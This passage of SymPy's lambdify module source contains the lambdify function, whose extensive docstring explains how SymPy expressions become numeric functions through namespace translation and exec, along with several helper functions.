numpy import *; from numpy.linalg import *\",)),\n    \"scipy\": (SCIPY, SCIPY_DEFAULT, SCIPY_TRANSLATIONS, (\"import numpy; import scipy; from scipy import *; from scipy.special import *\",)),\n    \"cupy\": (CUPY, CUPY_DEFAULT, CUPY_TRANSLATIONS, (\"import cupy\",)),\n    \"tensorflow\": (TENSORFLOW, TENSORFLOW_DEFAULT, TENSORFLOW_TRANSLATIONS, (\"import tensorflow\",)),\n    \"sympy\": (SYMPY, SYMPY_DEFAULT, {}, (\n        \"from sympy.functions import *\",\n        \"from sympy.matrices import *\",\n        \"from sympy import Integral, pi, oo, nan, zoo, E, I\",)),\n    \"numexpr\" : (NUMEXPR, NUMEXPR_DEFAULT, NUMEXPR_TRANSLATIONS,\n                 (\"import_module('numexpr')\", )),\n}\n\n\ndef _import(module, reload=False):\n    \"\"\"\n    Creates a global translation dictionary for module.\n\n    The argument module has to be one of the following strings: \"math\",\n    \"mpmath\", \"numpy\", \"sympy\", \"tensorflow\".\n    These dictionaries map names of python functions to their equivalent in\n    other modules.\n    \"\"\"\n    # Required despite static analysis claiming it is not used\n    from sympy.external import import_module # noqa:F401\n    try:\n        namespace, namespace_default, translations, import_commands = MODULES[\n            module]\n    except KeyError:\n        raise NameError(\n            \"'%s' module cannot be used for lambdification\" % module)\n\n    # Clear namespace or exit\n    if namespace != namespace_default:\n        # The namespace was already generated, don't do it again if not forced.\n        if reload:\n            namespace.clear()\n            namespace.update(namespace_default)\n        else:\n            return\n\n    for import_command in import_commands:\n        if import_command.startswith('import_module'):\n            module = eval(import_command)\n\n            if module is not None:\n                namespace.update(module.__dict__)\n                continue\n        else:\n            try:\n                exec(import_command, {}, namespace)\n                continue\n            except ImportError:\n                pass\n\n        raise ImportError(\n            \"Cannot import '%s' with '%s' command\" % (module, import_command))\n\n    # Add translated names to namespace\n    for sympyname, translation in translations.items():\n        namespace[sympyname] = namespace[translation]\n\n    # For computing the modulus of a sympy expression we use the builtin abs\n    # function, instead of the previously used fabs function for all\n    # translation modules. This is because the fabs function in the math\n    # module does not accept complex valued arguments. (see issue 9474). The\n    # only exception, where we don't use the builtin abs function is the\n    # mpmath translation module, because mpmath.fabs returns mpf objects in\n    # contrast to abs().\n    if 'Abs' not in namespace:\n        namespace['Abs'] = abs\n\n\n# Used for dynamically generated filenames that are inserted into the\n# linecache.\n_lambdify_generated_counter = 1\n\n@doctest_depends_on(modules=('numpy', 'scipy', 'tensorflow',), python_version=(3,))\ndef lambdify(args: Iterable, expr, modules=None, printer=None, use_imps=True,\n             dummify=False, cse=False):\n    \"\"\"Convert a SymPy expression into a function that allows for fast\n    numeric evaluation.\n\n    .. warning::\n       This function uses ``exec``, and thus shouldn't be used on\n       unsanitized input.\n\n    .. versionchanged:: 1.7.0\n       Passing a set for the *args* parameter is deprecated as sets are\n       unordered. Use an ordered iterable such as a list or tuple.\n\n    Explanation\n    ===========\n\n    For example, to convert the SymPy expression ``sin(x) + cos(x)`` to an\n    equivalent NumPy function that numerically evaluates it:\n\n    >>> from sympy import sin, cos, symbols, lambdify\n    >>> import numpy as np\n    >>> x = symbols('x')\n    >>> expr = sin(x) + cos(x)\n    >>> expr\n    sin(x) + cos(x)\n    >>> f = lambdify(x, expr, 'numpy')\n    >>> a = np.array([1, 2])\n    >>> f(a)\n    [1.38177329 0.49315059]\n\n    The primary purpose of this function is to provide a bridge from SymPy\n    expressions to numerical libraries such as NumPy, SciPy, NumExpr, mpmath,\n    and tensorflow. In general, SymPy functions do not work with objects from\n    other libraries, such as NumPy arrays, and functions from numeric\n    libraries like NumPy or mpmath do not work on SymPy expressions.\n    ``lambdify`` bridges the two by converting a SymPy expression to an\n    equivalent numeric function.\n\n    The basic workflow with ``lambdify`` is to first create a SymPy expression\n    representing whatever mathematical function you wish to evaluate. This\n    should be done using only SymPy functions and expressions. Then, use\n    ``lambdify`` to convert this to an equivalent function for numerical\n    evaluation. For instance, above we created ``expr`` using the SymPy symbol\n    ``x`` and SymPy functions ``sin`` and ``cos``, then converted it to an\n    equivalent NumPy function ``f``, and called it on a NumPy array ``a``.\n\n    Parameters\n    ==========\n\n    args : List[Symbol]\n        A variable or a list of variables whose nesting represents the\n        nesting of the arguments that will be passed to the function.\n\n        Variables can be symbols, undefined functions, or matrix symbols.\n\n        >>> from sympy import Eq\n        >>> from sympy.abc import x, y, z\n\n        The list of variables should match the structure of how the\n        arguments will be passed to the function. Simply enclose the\n        parameters as they will be passed in a list.\n\n        To call a function like ``f(x)`` then ``[x]``\n        should be the first argument to ``lambdify``; for this\n        case a single ``x`` can also be used:\n\n        >>> f = lambdify(x, x + 1)\n        >>> f(1)\n        2\n        >>> f = lambdify([x], x + 1)\n        >>> f(1)\n        2\n\n        To call a function like ``f(x, y)`` then ``[x, y]`` will\n        be the first argument of the ``lambdify``:\n\n        >>> f = lambdify([x, y], x + y)\n        >>> f(1, 1)\n        2\n\n        To call a function with a single 3-element tuple like\n        ``f((x, y, z))`` then ``[(x, y, z)]`` will be the first\n        argument of the ``lambdify``:\n\n        >>> f = lambdify([(x, y, z)], Eq(z**2, x**2 + y**2))\n        >>> f((3, 4, 5))\n        True\n\n        If two args will be passed and the first is a scalar but\n        the second is a tuple with two arguments then the items\n        in the list should match that structure:\n\n        >>> f = lambdify([x, (y, z)], x + y + z)\n        >>> f(1, (2, 3))\n        6\n\n    expr : Expr\n        An expression, list of expressions, or matrix to be evaluated.\n\n        Lists may be nested.\n        If the expression is a list, the output will also be a list.\n\n        >>> f = lambdify(x, [x, [x + 1, x + 2]])\n        >>> f(1)\n        [1, [2, 3]]\n\n        If it is a matrix, an array will be returned (for the NumPy module).\n\n        >>> from sympy import Matrix\n        >>> f = lambdify(x, Matrix([x, x + 1]))\n        >>> f(1)\n        [[1]\n        [2]]\n\n        Note that the argument order here (variables then expression) is used\n        to emulate the Python ``lambda`` keyword. ``lambdify(x, expr)`` works\n        (roughly) like ``lambda x: expr``\n        (see :ref:`lambdify-how-it-works` below).\n\n    modules : str, optional\n        Specifies the numeric library to use.\n\n        If not specified, *modules* defaults to:\n\n        - ``[\"scipy\", \"numpy\"]`` if SciPy is installed\n        - ``[\"numpy\"]`` if only NumPy is installed\n        - ``[\"math\", \"mpmath\", \"sympy\"]`` if neither is installed.\n\n        That is, SymPy functions are replaced as far as possible by\n        either ``scipy`` or ``numpy`` functions if available, and Python's\n        standard library ``math``, or ``mpmath`` functions otherwise.\n\n        *modules* can be one of the following types:\n\n        - The strings ``\"math\"``, ``\"mpmath\"``, ``\"numpy\"``, ``\"numexpr\"``,\n          ``\"scipy\"``, ``\"sympy\"``, or ``\"tensorflow\"``. This uses the\n          corresponding printer and namespace mapping for that module.\n        - A module (e.g., ``math``). This uses the global namespace of the\n          module. If the module is one of the above known modules, it will\n          also use the corresponding printer and namespace mapping\n          (i.e., ``modules=numpy`` is equivalent to ``modules=\"numpy\"``).\n        - A dictionary that maps names of SymPy functions to arbitrary\n          functions\n          (e.g., ``{'sin': custom_sin}``).\n        - A list that contains a mix of the arguments above, with higher\n          priority given to entries appearing first\n          (e.g., to use the NumPy module but override the ``sin`` function\n          with a custom version, you can use\n          ``[{'sin': custom_sin}, 'numpy']``).\n\n    dummify : bool, optional\n        Whether or not the variables in the provided expression that are not\n        valid Python identifiers are substituted with dummy symbols.\n\n        This allows for undefined functions like ``Function('f')(t)`` to be\n        supplied as arguments. By default, the variables are only dummified\n        if they are not valid Python identifiers.\n\n        Set ``dummify=True`` to replace all arguments with dummy symbols\n        (if ``args`` is not a string) - for example, to ensure that the\n        arguments do not redefine any built-in names.\n\n    cse : bool, or callable, optional\n        Large expressions can be computed more efficiently when\n        common subexpressions are identified and precomputed before\n        being used multiple time. Finding the subexpressions will make\n        creation of the 'lambdify' function slower, however.\n\n        When ``True``, ``sympy.simplify.cse`` is used, otherwise (the default)\n        the user may pass a function matching the ``cse`` signature.\n\n\n    Examples\n    ========\n\n    >>> from sympy.utilities.lambdify import implemented_function\n    >>> from sympy import sqrt, sin, Matrix\n    >>> from sympy import Function\n    >>> from sympy.abc import w, x, y, z\n\n    >>> f = lambdify(x, x**2)\n    >>> f(2)\n    4\n    >>> f = lambdify((x, y, z), [z, y, x])\n    >>> f(1,2,3)\n    [3, 2, 1]\n    >>> f = lambdify(x, sqrt(x))\n    >>> f(4)\n    2.0\n    >>> f = lambdify((x, y), sin(x*y)**2)\n    >>> f(0, 5)\n    0.0\n    >>> row = lambdify((x, y), Matrix((x, x + y)).T, modules='sympy')\n    >>> row(1, 2)\n    Matrix([[1, 3]])\n\n    ``lambdify`` can be used to translate SymPy expressions into mpmath\n    functions. This may be preferable to using ``evalf`` (which uses mpmath on\n    the backend) in some cases.\n\n    >>> f = lambdify(x, sin(x), 'mpmath')\n    >>> f(1)\n    0.8414709848078965\n\n    Tuple arguments are handled and the lambdified function should\n    be called with the same type of arguments as were used to create\n    the function:\n\n    >>> f = lambdify((x, (y, z)), x + y)\n    >>> f(1, (2, 4))\n    3\n\n    The ``flatten`` function can be used to always work with flattened\n    arguments:\n\n    >>> from sympy.utilities.iterables import flatten\n    >>> args = w, (x, (y, z))\n    >>> vals = 1, (2, (3, 4))\n    >>> f = lambdify(flatten(args), w + x + y + z)\n    >>> f(*flatten(vals))\n    10\n\n    Functions present in ``expr`` can also carry their own numerical\n    implementations, in a callable attached to the ``_imp_`` attribute. This\n    can be used with undefined functions using the ``implemented_function``\n    factory:\n\n    >>> f = implemented_function(Function('f'), lambda x: x+1)\n    >>> func = lambdify(x, f(x))\n    >>> func(4)\n    5\n\n    ``lambdify`` always prefers ``_imp_`` implementations to implementations\n    in other namespaces, unless the ``use_imps`` input parameter is False.\n\n    Usage with Tensorflow:\n\n    >>> import tensorflow as tf\n    >>> from sympy import Max, sin, lambdify\n    >>> from sympy.abc import x\n\n    >>> f = Max(x, sin(x))\n    >>> func = lambdify(x, f, 'tensorflow')\n\n    After tensorflow v2, eager execution is enabled by default.\n    If you want to get the compatible result across tensorflow v1 and v2\n    as same as this tutorial, run this line.\n\n    >>> tf.compat.v1.enable_eager_execution()\n\n    If you have eager execution enabled, you can get the result out\n    immediately as you can use numpy.\n\n    If you pass tensorflow objects, you may get an ``EagerTensor``\n    object instead of value.\n\n    >>> result = func(tf.constant(1.0))\n    >>> print(result)\n    tf.Tensor(1.0, shape=(), dtype=float32)\n    >>> print(result.__class__)\n    <class 'tensorflow.python.framework.ops.EagerTensor'>\n\n    You can use ``.numpy()`` to get the numpy value of the tensor.\n\n    >>> result.numpy()\n    1.0\n\n    >>> var = tf.Variable(2.0)\n    >>> result = func(var) # also works for tf.Variable and tf.Placeholder\n    >>> result.numpy()\n    2.0\n\n    And it works with any shape array.\n\n    >>> tensor = tf.constant([[1.0, 2.0], [3.0, 4.0]])\n    >>> result = func(tensor)\n    >>> result.numpy()\n    [[1. 2.]\n     [3. 4.]]\n\n    Notes\n    =====\n\n    - For functions involving large array calculations, numexpr can provide a\n      significant speedup over numpy. Please note that the available functions\n      for numexpr are more limited than numpy but can be expanded with\n      ``implemented_function`` and user defined subclasses of Function. If\n      specified, numexpr may be the only option in modules. The official list\n      of numexpr functions can be found at:\n      https://numexpr.readthedocs.io/en/latest/user_guide.html#supported-functions\n\n    - In previous versions of SymPy, ``lambdify`` replaced ``Matrix`` with\n      ``numpy.matrix`` by default. As of SymPy 1.0 ``numpy.array`` is the\n      default. To get the old default behavior you must pass in\n      ``[{'ImmutableDenseMatrix':  numpy.matrix}, 'numpy']`` to the\n      ``modules`` kwarg.\n\n      >>> from sympy import lambdify, Matrix\n      >>> from sympy.abc import x, y\n      >>> import numpy\n      >>> array2mat = [{'ImmutableDenseMatrix': numpy.matrix}, 'numpy']\n      >>> f = lambdify((x, y), Matrix([x, y]), modules=array2mat)\n      >>> f(1, 2)\n      [[1]\n       [2]]\n\n    - In the above examples, the generated functions can accept scalar\n      values or numpy arrays as arguments.  However, in some cases\n      the generated function relies on the input being a numpy array:\n\n      >>> from sympy import Piecewise\n      >>> from sympy.testing.pytest import ignore_warnings\n      >>> f = lambdify(x, Piecewise((x, x <= 1), (1/x, x > 1)), \"numpy\")\n\n      >>> with ignore_warnings(RuntimeWarning):\n      ...     f(numpy.array([-1, 0, 1, 2]))\n      [-1.   0.   1.   0.5]\n\n      >>> f(0)\n      Traceback (most recent call last):\n          ...\n      ZeroDivisionError: division by zero\n\n      In such cases, the input should be wrapped in a numpy array:\n\n      >>> with ignore_warnings(RuntimeWarning):\n      ...     float(f(numpy.array([0])))\n      0.0\n\n      Or if numpy functionality is not required another module can be used:\n\n      >>> f = lambdify(x, Piecewise((x, x <= 1), (1/x, x > 1)), \"math\")\n      >>> f(0)\n      0\n\n    .. _lambdify-how-it-works:\n\n    How it works\n    ============\n\n    When using this function, it helps a great deal to have an idea of what it\n    is doing. At its core, lambdify is nothing more than a namespace\n    translation, on top of a special printer that makes some corner cases work\n    properly.\n\n    To understand lambdify, first we must properly understand how Python\n    namespaces work. Say we had two files. One called ``sin_cos_sympy.py``,\n    with\n\n    .. code:: python\n\n        # sin_cos_sympy.py\n\n        from sympy import sin, cos\n\n        def sin_cos(x):\n            return sin(x) + cos(x)\n\n\n    and one called ``sin_cos_numpy.py`` with\n\n    .. code:: python\n\n        # sin_cos_numpy.py\n\n        from numpy import sin, cos\n\n        def sin_cos(x):\n            return sin(x) + cos(x)\n\n    The two files define an identical function ``sin_cos``. However, in the\n    first file, ``sin`` and ``cos`` are defined as the SymPy ``sin`` and\n    ``cos``. In the second, they are defined as the NumPy versions.\n\n    If we were to import the first file and use the ``sin_cos`` function, we\n    would get something like\n\n    >>> from sin_cos_sympy import sin_cos # doctest: +SKIP\n    >>> sin_cos(1) # doctest: +SKIP\n    cos(1) + sin(1)\n\n    On the other hand, if we imported ``sin_cos`` from the second file, we\n    would get\n\n    >>> from sin_cos_numpy import sin_cos # doctest: +SKIP\n    >>> sin_cos(1) # doctest: +SKIP\n    1.38177329068\n\n    In the first case we got a symbolic output, because it used the symbolic\n    ``sin`` and ``cos`` functions from SymPy. In the second, we got a numeric\n    result, because ``sin_cos`` used the numeric ``sin`` and ``cos`` functions\n    from NumPy. But notice that the versions of ``sin`` and ``cos`` that were\n    used was not inherent to the ``sin_cos`` function definition. Both\n    ``sin_cos`` definitions are exactly the same. Rather, it was based on the\n    names defined at the module where the ``sin_cos`` function was defined.\n\n    The key point here is that when function in Python references a name that\n    is not defined in the function, that name is looked up in the \"global\"\n    namespace of the module where that function is defined.\n\n    Now, in Python, we can emulate this behavior without actually writing a\n    file to disk using the ``exec`` function. ``exec`` takes a string\n    containing a block of Python code, and a dictionary that should contain\n    the global variables of the module. It then executes the code \"in\" that\n    dictionary, as if it were the module globals. The following is equivalent\n    to the ``sin_cos`` defined in ``sin_cos_sympy.py``:\n\n    >>> import sympy\n    >>> module_dictionary = {'sin': sympy.sin, 'cos': sympy.cos}\n    >>> exec('''\n    ... def sin_cos(x):\n    ...     return sin(x) + cos(x)\n    ... ''', module_dictionary)\n    >>> sin_cos = module_dictionary['sin_cos']\n    >>> sin_cos(1)\n    cos(1) + sin(1)\n\n    and similarly with ``sin_cos_numpy``:\n\n    >>> import numpy\n    >>> module_dictionary = {'sin': numpy.sin, 'cos': numpy.cos}\n    >>> exec('''\n    ... def sin_cos(x):\n    ...     return sin(x) + cos(x)\n    ... ''', module_dictionary)\n    >>> sin_cos = module_dictionary['sin_cos']\n    >>> sin_cos(1)\n    1.38177329068\n\n    So now we can get an idea of how ``lambdify`` works. The name \"lambdify\"\n    comes from the fact that we can think of something like ``lambdify(x,\n    sin(x) + cos(x), 'numpy')`` as ``lambda x: sin(x) + cos(x)``, where\n    ``sin`` and ``cos`` come from the ``numpy`` namespace. This is also why\n    the symbols argument is first in ``lambdify``, as opposed to most SymPy\n    functions where it comes after the expression: to better mimic the\n    ``lambda`` keyword.\n\n    ``lambdify`` takes the input expression (like ``sin(x) + cos(x)``) and\n\n    1. Converts it to a string\n    2. Creates a module globals dictionary based on the modules that are\n       passed in (by default, it uses the NumPy module)\n    3. Creates the string ``\"def func({vars}): return {expr}\"``, where ``{vars}`` is the\n       list of variables separated by commas, and ``{expr}`` is the string\n       created in step 1., then ``exec``s that string with the module globals\n       namespace and returns ``func``.\n\n    In fact, functions returned by ``lambdify`` support inspection. So you can\n    see exactly how they are defined by using ``inspect.getsource``, or ``??`` if you\n    are using IPython or the Jupyter notebook.\n\n    >>> f = lambdify(x, sin(x) + cos(x))\n    >>> import inspect\n    >>> print(inspect.getsource(f))\n    def _lambdifygenerated(x):\n        return sin(x) + cos(x)\n\n    This shows us the source code of the function, but not the namespace it\n    was defined in. We can inspect that by looking at the ``__globals__``\n    attribute of ``f``:\n\n    >>> f.__globals__['sin']\n    <ufunc 'sin'>\n    >>> f.__globals__['cos']\n    <ufunc 'cos'>\n    >>> f.__globals__['sin'] is numpy.sin\n    True\n\n    This shows us that ``sin`` and ``cos`` in the namespace of ``f`` will be\n    ``numpy.sin`` and ``numpy.cos``.\n\n    Note that there are some convenience layers in each of these steps, but at\n    the core, this is how ``lambdify`` works. Step 1 is done using the\n    ``LambdaPrinter`` printers defined in the printing module (see\n    :mod:`sympy.printing.lambdarepr`). This allows different SymPy expressions\n    to define how they should be converted to a string for different modules.\n    You can change which printer ``lambdify`` uses by passing a custom printer\n    in to the ``printer`` argument.\n\n    Step 2 is augmented by certain translations. There are default\n    translations for each module, but you can provide your own by passing a\n    list to the ``modules`` argument. For instance,\n\n    >>> def mysin(x):\n    ...     print('taking the sin of', x)\n    ...     return numpy.sin(x)\n    ...\n    >>> f = lambdify(x, sin(x), [{'sin': mysin}, 'numpy'])\n    >>> f(1)\n    taking the sin of 1\n    0.8414709848078965\n\n    The globals dictionary is generated from the list by merging the\n    dictionary ``{'sin': mysin}`` and the module dictionary for NumPy. The\n    merging is done so that earlier items take precedence, which is why\n    ``mysin`` is used above instead of ``numpy.sin``.\n\n    If you want to modify the way ``lambdify`` works for a given function, it\n    is usually easiest to do so by modifying the globals dictionary as such.\n    In more complicated cases, it may be necessary to create and pass in a\n    custom printer.\n\n    Finally, step 3 is augmented with certain convenience operations, such as\n    the addition of a docstring.\n\n    Understanding how ``lambdify`` works can make it easier to avoid certain\n    gotchas when using it. For instance, a common mistake is to create a\n    lambdified function for one module (say, NumPy), and pass it objects from\n    another (say, a SymPy expression).\n\n    For instance, say we create\n\n    >>> from sympy.abc import x\n    >>> f = lambdify(x, x + 1, 'numpy')\n\n    Now if we pass in a NumPy array, we get that array plus 1\n\n    >>> import numpy\n    >>> a = numpy.array([1, 2])\n    >>> f(a)\n    [2 3]\n\n    But what happens if you make the mistake of passing in a SymPy expression\n    instead of a NumPy array:\n\n    >>> f(x + 1)\n    x + 2\n\n    This worked, but it was only by accident. Now take a different lambdified\n    function:\n\n    >>> from sympy import sin\n    >>> g = lambdify(x, x + sin(x), 'numpy')\n\n    This works as expected on NumPy arrays:\n\n    >>> g(a)\n    [1.84147098 2.90929743]\n\n    But if we try to pass in a SymPy expression, it fails\n\n    >>> try:\n    ...     g(x + 1)\n    ... # NumPy release after 1.17 raises TypeError instead of\n    ... # AttributeError\n    ... except (AttributeError, TypeError):\n    ...     raise AttributeError() # doctest: +IGNORE_EXCEPTION_DETAIL\n    Traceback (most recent call last):\n    ...\n    AttributeError:\n\n    Now, let's look at what happened. The reason this fails is that ``g``\n    calls ``numpy.sin`` on the input expression, and ``numpy.sin`` does not\n    know how to operate on a SymPy object. **As a general rule, NumPy\n    functions do not know how to operate on SymPy expressions, and SymPy\n    functions do not know how to operate on NumPy arrays. This is why lambdify\n    exists: to provide a bridge between SymPy and NumPy.**\n\n    However, why is it that ``f`` did work? That's because ``f`` doesn't call\n    any functions, it only adds 1. So the resulting function that is created,\n    ``def _lambdifygenerated(x): return x + 1`` does not depend on the globals\n    namespace it is defined in. Thus it works, but only by accident. A future\n    version of ``lambdify`` may remove this behavior.\n\n    Be aware that certain implementation details described here may change in\n    future versions of SymPy. The API of passing in custom modules and\n    printers will not change, but the details of how a lambda function is\n    created may change. However, the basic idea will remain the same, and\n    understanding it will be helpful to understanding the behavior of\n    lambdify.\n\n    **In general: you should create lambdified functions for one module (say,\n    NumPy), and only pass it input types that are compatible with that module\n    (say, NumPy arrays).** Remember that by default, if the ``module``\n    argument is not provided, ``lambdify`` creates functions using the NumPy\n    and SciPy namespaces.\n    \"\"\"\n    from sympy.core.symbol import Symbol\n\n    # If the user hasn't specified any modules, use what is available.\n    if modules is None:\n        try:\n            _import(\"scipy\")\n        except ImportError:\n            try:\n                _import(\"numpy\")\n            except ImportError:\n                # Use either numpy (if available) or python.math where possible.\n                # XXX: This leads to different behaviour on different systems and\n                #      might be the reason for irreproducible errors.\n                modules = [\"math\", \"mpmath\", \"sympy\"]\n            else:\n                modules = [\"numpy\"]\n        else:\n            modules = [\"numpy\", \"scipy\"]\n\n    # Get the needed namespaces.\n    namespaces = []\n    # First find any function implementations\n    if use_imps:\n        namespaces.append(_imp_namespace(expr))\n    # Check for dict before iterating\n    if isinstance(modules, (dict, str)) or not hasattr(modules, '__iter__'):\n        namespaces.append(modules)\n    else:\n        # consistency check\n        if _module_present('numexpr', modules) and len(modules) > 1:\n            raise TypeError(\"numexpr must be the only item in 'modules'\")\n        namespaces += list(modules)\n    # fill namespace with first having highest priority\n    namespace = {} # type: Dict[str, Any]\n    for m in namespaces[::-1]:\n        buf = _get_namespace(m)\n        namespace.update(buf)\n\n    if hasattr(expr, \"atoms\"):\n        #Try if you can extract symbols from the expression.\n        #Move on if expr.atoms in not implemented.\n        syms = expr.atoms(Symbol)\n        for term in syms:\n            namespace.update({str(term): term})\n\n    if printer is None:\n        if _module_present('mpmath', namespaces):\n            from sympy.printing.pycode import MpmathPrinter as Printer # type: ignore\n        elif _module_present('scipy', namespaces):\n            from sympy.printing.numpy import SciPyPrinter as Printer # type: ignore\n        elif _module_present('numpy', namespaces):\n            from sympy.printing.numpy import NumPyPrinter as Printer # type: ignore\n        elif _module_present('cupy', namespaces):\n            from sympy.printing.numpy import CuPyPrinter as Printer # type: ignore\n        elif _module_present('numexpr', namespaces):\n            from sympy.printing.lambdarepr import NumExprPrinter as Printer # type: ignore\n        elif _module_present('tensorflow', namespaces):\n            from sympy.printing.tensorflow import TensorflowPrinter as Printer # type: ignore\n        elif _module_present('sympy', namespaces):\n            from sympy.printing.pycode import SymPyPrinter as Printer # type: ignore\n        else:\n            from sympy.printing.pycode import PythonCodePrinter as Printer # type: ignore\n        user_functions = {}\n        for m in namespaces[::-1]:\n            if isinstance(m, dict):\n                for k in m:\n                    user_functions[k] = k\n        printer = Printer({'fully_qualified_modules': False, 'inline': True,\n                           'allow_unknown_functions': True,\n                           'user_functions': user_functions})\n\n    if isinstance(args, set):\n        SymPyDeprecationWarning(\n                    feature=\"The list of arguments is a `set`. This leads to unpredictable results\",\n                    useinstead=\": Convert set into list or tuple\",\n                    issue=20013,\n                    deprecated_since_version=\"1.6.3\"\n                ).warn()\n\n    # Get the names of the args, for creating a docstring\n    if not iterable(args):\n        args = (args,)\n    names = []\n\n    # Grab the callers frame, for getting the names by inspection (if needed)\n    callers_local_vars = inspect.currentframe().f_back.f_locals.items() # type: ignore\n    for n, var in enumerate(args):\n        if hasattr(var, 'name'):\n            names.append(var.name)\n        else:\n            # It's an iterable. Try to get name by inspection of calling frame.\n            name_list = [var_name for var_name, var_val in callers_local_vars\n                    if var_val is var]\n            if len(name_list) == 1:\n                names.append(name_list[0])\n            else:\n                # Cannot infer name with certainty. arg_# will have to do.\n                names.append('arg_' + str(n))\n\n    # Create the function definition code and execute it\n    funcname = '_lambdifygenerated'\n    if _module_present('tensorflow', namespaces):\n        funcprinter = _TensorflowEvaluatorPrinter(printer, dummify) # type: _EvaluatorPrinter\n    else:\n        funcprinter = _EvaluatorPrinter(printer, dummify)\n\n    if cse == True:\n        from sympy.simplify.cse_main import cse\n        cses, _expr = cse(expr, list=False)\n    elif callable(cse):\n        cses, _expr = cse(expr)\n    else:\n        cses, _expr = (), expr\n    funcstr = funcprinter.doprint(funcname, args, _expr, cses=cses)\n\n    # Collect the module imports from the code printers.\n    imp_mod_lines = []\n    for mod, keys in (getattr(printer, 'module_imports', None) or {}).items():\n        for k in keys:\n            if k not in namespace:\n                ln = \"from %s import %s\" % (mod, k)\n                try:\n                    exec(ln, {}, namespace)\n                except ImportError:\n                    # Tensorflow 2.0 has issues with importing a specific\n                    # function from its submodule.\n                    # https://github.com/tensorflow/tensorflow/issues/33022\n                    ln = \"%s = %s.%s\" % (k, mod, k)\n                    exec(ln, {}, namespace)\n                imp_mod_lines.append(ln)\n\n    # Provide lambda expression with builtins, and compatible implementation of range\n    namespace.update({'builtins':builtins, 'range':range})\n\n    funclocals = {} # type: Dict[str, Any]\n    global _lambdify_generated_counter\n    filename = '<lambdifygenerated-%s>' % _lambdify_generated_counter\n    _lambdify_generated_counter += 1\n    c = compile(funcstr, filename, 'exec')\n    exec(c, namespace, funclocals)\n    # mtime has to be None or else linecache.checkcache will remove it\n    linecache.cache[filename] = (len(funcstr), None, funcstr.splitlines(True), filename) # type: ignore\n\n    func = funclocals[funcname]\n\n    # Apply the docstring\n    sig = \"func({})\".format(\", \".join(str(i) for i in names))\n    sig = textwrap.fill(sig, subsequent_indent=' '*8)\n    expr_str = str(expr)\n    if len(expr_str) > 78:\n        expr_str = textwrap.wrap(expr_str, 75)[0] + '...'\n    func.__doc__ = (\n        \"Created with lambdify. Signature:\\n\\n\"\n        \"{sig}\\n\\n\"\n        \"Expression:\\n\\n\"\n        \"{expr}\\n\\n\"\n        \"Source code:\\n\\n\"\n        \"{src}\\n\\n\"\n        \"Imported modules:\\n\\n\"\n        \"{imp_mods}\"\n        ).format(sig=sig, expr=expr_str, src=funcstr, imp_mods='\\n'.join(imp_mod_lines))\n    return func\n\ndef _module_present(modname, modlist):\n    if modname in modlist:\n        return True\n    for m in modlist:\n        if hasattr(m, '__name__') and m.__name__ == modname:\n            return True\n    return False\n\ndef _get_namespace(m):\n    \"\"\"\n    This is used by _lambdify to parse its arguments.\n    \"\"\"\n    if isinstance(m, str):\n        _import(m)\n        return MODULES[m][0]\n    elif isinstance(m, dict):\n        return m\n    elif hasattr(m, \"__dict__\"):\n        return m.__dict__\n    else:\n        raise TypeError(\"Argument must be either a string, dict or module but it is: %s\" % m)\n\n\ndef _recursive_to_string(doprint, arg):\n    \"\"\"Functions in lambdify accept both sympy types and non-sympy types such as python\n    lists and tuples. This method ensures that we only call the doprint method of the\n    printer with SymPy types (so that the printer safely can use SymPy-methods).\"\"\"\n    from sympy.matrices.common import MatrixOperations\n\n    if isinstance(arg, (Basic, MatrixOperations)):\n        return doprint(arg)\n    elif iterable(arg):\n        if isinstance(arg, list):\n            left, right = \"[]\"\n        elif isinstance(arg, tuple):\n            left, right = \"()\"\n        else:\n            raise NotImplementedError(\"unhandled type: %s, %s\" % (type(arg), arg))\n        return left +', '.join(_recursive_to_string(doprint, e) for e in arg) + right\n    elif isinstance(arg, str):\n        return arg\n    else:\n        return doprint(arg)\n\n\ndef lambdastr(args, expr, printer=None, dummify=None):\n    \"\"\"\n    Returns a string that can be evaluated to a lambda function.\n\n    Examples\n    ========\n\n    >>> from sympy.abc import x, y, z\n    >>> from sympy.utilities.lambdify import lambdastr\n    >>> lambdastr(x, x**2)\n    'lambda x: (x**2)'\n    >>> lambdastr((x,y,z), [z,y,x])\n    'lambda x,y,z: ([z, y, x])'\n\n    Although tuples may not appear as arguments to lambda in Python 3,\n    lambdastr will create a lambda function that will unpack the original\n    arguments so that nested arguments can be handled:\n\n    >>> lambdastr((x, (y, z)), x + y)\n    'lambda _0,_1: (lambda x,y,z: (x + y))(_0,_1[0],_1[1])'\n    \"\"\"\n    # Transforming everything to strings.\n    from sympy.matrices import DeferredVector\n    from sympy import Dummy, sympify, Symbol, Function, flatten, Derivative\n\n    if printer is not None:\n        if inspect.isfunction(printer):\n            lambdarepr = printer\n        else:\n            if inspect.isclass(printer):\n                lambdarepr = lambda expr: printer().doprint(expr)\n            else:\n                lambdarepr = lambda expr: printer.doprint(expr)\n    else:\n        #XXX: This has to be done here because of circular imports\n        from sympy.printing.lambdarepr import lambdarepr\n\n    def sub_args(args, dummies_dict):\n        if isinstance(args, str):\n            return args\n        elif isinstance(args, DeferredVector):\n            return str(args)\n        elif iterable(args):\n            dummies = flatten([sub_args(a, dummies_dict) for a in args])\n            return \",\".join(str(a) for a in dummies)\n        else:\n            # replace these with Dummy symbols\n            if isinstance(args, (Function, Symbol, Derivative)):\n                dummies = Dummy()\n                dummies_dict.update({args : dummies})\n                return str(dummies)\n            else:\n                return str(args)\n\n    def sub_expr(expr, dummies_dict):\n        expr = sympify(expr)\n        # dict/tuple are sympified to Basic\n        if isinstance(expr, Basic):\n            expr = expr.xreplace(dummies_dict)\n        # list is not sympified to Basic\n        elif isinstance(expr, list):\n            expr = [sub_expr(a, dummies_dict) for a in expr]\n        return expr\n\n    # Transform args\n    def isiter(l):\n        return iterable(l, exclude=(str, DeferredVector, NotIterable))\n\n    def flat_indexes(iterable):\n        n = 0\n\n        for el in iterable:\n            if isiter(el):\n                for ndeep in flat_indexes(el):\n                    yield (n,) + ndeep\n            else:\n                yield (n,)\n\n            n += 1\n\n    if dummify is None:\n        dummify = any(isinstance(a, Basic) and\n            a.atoms(Function, Derivative) for a in (\n            args if isiter(args) else [args]))\n\n    if isiter(args) and any(isiter(i) for i in args):\n        dum_args = [str(Dummy(str(i))) for i in range(len(args))]\n\n        indexed_args = ','.join([\n            dum_args[ind[0]] + ''.join([\"[%s]\" % k for k in ind[1:]])\n                    for ind in flat_indexes(args)])\n\n        lstr = lambdastr(flatten(args), expr, printer=printer, dummify=dummify)\n\n        return 